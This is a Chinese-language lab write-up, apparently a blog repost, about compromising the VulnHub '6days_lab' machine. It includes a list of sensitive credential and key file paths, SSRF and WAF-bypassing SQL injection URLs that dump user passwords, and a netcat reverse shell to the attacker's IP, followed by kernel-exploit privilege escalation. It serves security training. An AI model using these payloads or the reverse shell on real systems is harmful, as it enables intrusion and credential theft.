|
原文链接:WriteUP-6days_lab 靶机
下载地址:https://www.vulnhub.com/entry/6days-lab-11%2C156/
靶机描述:
考察 SSRF 、SQL注入、漏洞提权
信息收集
通过nmap扫描获取对方主机开放服务和主机IP
 
 
目标IP: 192.168.246.159 目标端口: 22,8080
请求web应用程序
 
按照使用促销代码NONEEDFORPENTEST
提示代码过期
 
FUZZ 目录
 
拿到apache的版本 和开放端口
图片打不开,寻找其他突破点
这个地址不在当前网段, 后面发现是环境问题

直接请求链接 可能存在漏洞,尝试src 指向本地文件,发现存在任意文件读取
 
访问index.php ,查看源码
 
验证折扣码在checkpromo.php访问如下链接 获得checkpromo.php 源码
http://192.168.246.159/image.php?src=checkpromo.php
获取用户账号

数据库密码

分享一个敏感信息目录
敏感信息
Windows:
C:\boot.ini //查看系统版本
C:\Windows\System32\inetsrv\MetaBase.xml //IIS配置文件
C:\Windows\repair\sam //存储系统初次安装的密码
C:\Program Files\mysql\my.ini //Mysql配置
C:\Program Files\mysql\data\mysql\user.MYD //Mysql root
C:\Windows\php.ini //php配置信息
C:\Windows\my.ini //Mysql配置信息
Linux:
/root/.ssh/authorized_keys //如需登录到远程主机,需要到.ssh目录下,新建authorized_keys文件,并将id_rsa.pub内容复制进去
/root/.ssh/id_rsa //ssh私钥,ssh公钥是id_rsa.pub
/root/.ssh/id_ras.keystore //记录每个访问计算机用户的公钥
/root/.ssh/known_hosts
//ssh会把每个访问过计算机的公钥(public key)都记录在~/.ssh/known_hosts。当下次访问相同计算机时,OpenSSH会核对公钥。如果公钥不同,OpenSSH会发出警告, 避免你受到DNS Hijack之类的攻击。
/etc/passwd // 账户信息
/etc/shadow // 账户密码文件
/etc/my.cnf //mysql 配置文件
/etc/httpd/conf/httpd.conf // Apache配置文件
/root/.bash_history //用户历史命令记录文件
/root/.mysql_history //mysql历史命令记录文件
/proc/self/fd/fd[0-9]*(文件标识符)
/proc/mounts //记录系统挂载设备
/porc/config.gz //内核配置文件
/var/lib/mlocate/mlocate.db //全文件路径
/porc/self/cmdline //当前进程的cmdline参数
没有找到可以攻击的点,在重新审计checkpromo.php方法,获取的参数promocode 直接插入了Sql语句
 
尝试闭合
 
编码绕过,发现二次url编码绕过waf检测
 
 
绕过waf 后,直接请求以下链接是没有回显的,
http://192.168.246.159/checkprom ... r%2520by%25202%2523
那为什么没有回显,后面看了下apache的配置文件发现网站在8080端口,只允许本地访问
http://192.168.246.159/image.php ... s-available/default
注入POC:
1' order by 2#
http://192.168.246.159/image.php ... r%2520by%25202%2523
 
- <p>1' order by 2#</p>
- <p>http://192.168.246.159/image.php?src=http://127.0.0.1:8080/checkpromo.php?promocode=1%2527%2520order%2520by%25203%2523</p>
复制代码
- <p><span aria-label=" 图像 小部件" class="cke_widget_wrapper cke_widget_inline cke_widget_image cke_image_nocaption cke_widget_selected" data-cke-display-name="图像" data-cke-filter="off" data-cke-widget-id="418" data-cke-widget-wrapper="1" role="region" tabindex="-1" contenteditable="false"><img alt="" class="cke_widget_element" data-cke-saved-src="https://img-blog.csdnimg.cn/6d2fea1e008d40bba545d3ac4171072c.gif" data-cke-widget-data="%7B%22hasCaption%22%3Afalse%2C%22src%22%3A%22https%3A%2F%2Fimg-blog.csdnimg.cn%2F6d2fea1e008d40bba545d3ac4171072c.gif%22%2C%22alt%22%3A%22%22%2C%22width%22%3A%221%22%2C%22height%22%3A%221%22%2C%22lock%22%3Atrue%2C%22align%22%3A%22none%22%2C%22classes%22%3Anull%7D" data-cke-widget-keep-attr="0" data-cke-widget-upcasted="1" data-widget="image" src="https://img-blog.csdnimg.cn/6d2fea1e008d40bba545d3ac4171072c.gif" width="1" height="1"><span class="cke_reset cke_widget_drag_handler_container" style="background:rgba(220,220,220,0.5);background-image:url(https://csdnimg.cn/release/blog_editor_html/release1.9.3/ckeditor/plugins/widget/images/handle.png);display:none;"><img class="cke_reset cke_widget_drag_handler" data-cke-widget-drag-handler="1" draggable="true" role="presentation" src="data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==" title="点击并拖拽以移动" width="15" height="15"></span><span class="cke_image_resizer" title="点击并拖拽以改变尺寸"></span></span></p>
- <p>1' union select 1,2#</p>
- <p>http://192.168.246.159/image.php?src=http://127.0.0.1:8080/checkpromo.php?promocode=1%2527%2520union%2520select%25201%252C2%2523</p>
复制代码
 
回显位置找到 ,查表
- <p>1' union select (select group_concat(table_name) from information_schema.tables where table_schema=database()),2#</p>
- <p>http://192.168.246.159/image.php?src=http://127.0.0.1:8080/checkpromo.php?promocode=1%2527%2520union%2520select%2520%2528select%2520group_concat%2528table_name%2529%2520from%2520information_schema.tables%2520where%2520table_schema%253Ddatabase%2528%2529%2529%252C2%2523</p>
复制代码
 
- <p>1' union select (select group_concat(column_name) from information_schema.columns where table_name='users'),2#</p>
- <p>http://192.168.246.159/image.php?src=http://127.0.0.1:8080/checkpromo.php?promocode=1%2527%2520union%2520select%2520%2528select%2520group_concat%2528column_name%2529%2520from%2520information_schema.columns%2520where%2520table_name%253D%2527users%2527%2529%252C2%2523</p>
复制代码
 
- <p>1' union select (select group_concat(0x3e,username,0x3e,password) from users),2#</p>
- <p>1%2527%2520union%2520select%2520%2528select%2520group_concat%25280x3e%252Cusername%252C0x3e%252Cpassword%2529%2520from%2520users%2529%252C2%2523</p>
复制代码
 
拿到账号:andrea SayNoToPentests
 
无法执行命令,反弹一个shell
- nc -e/bin/bash 192.168.246.158 4444
复制代码
本地 nc -lvvp 4444 监听
获取交互式shell
- python -c'import pty; pty.spawn("/bin/bash")'
复制代码
尝试内核版本提权
 
搜索版本号 查找漏洞
 
把脚本cp到web目录
 
 
开启apache2
 
Wget 下载
 
编译并执行
 
Flag 在根目录下
|
|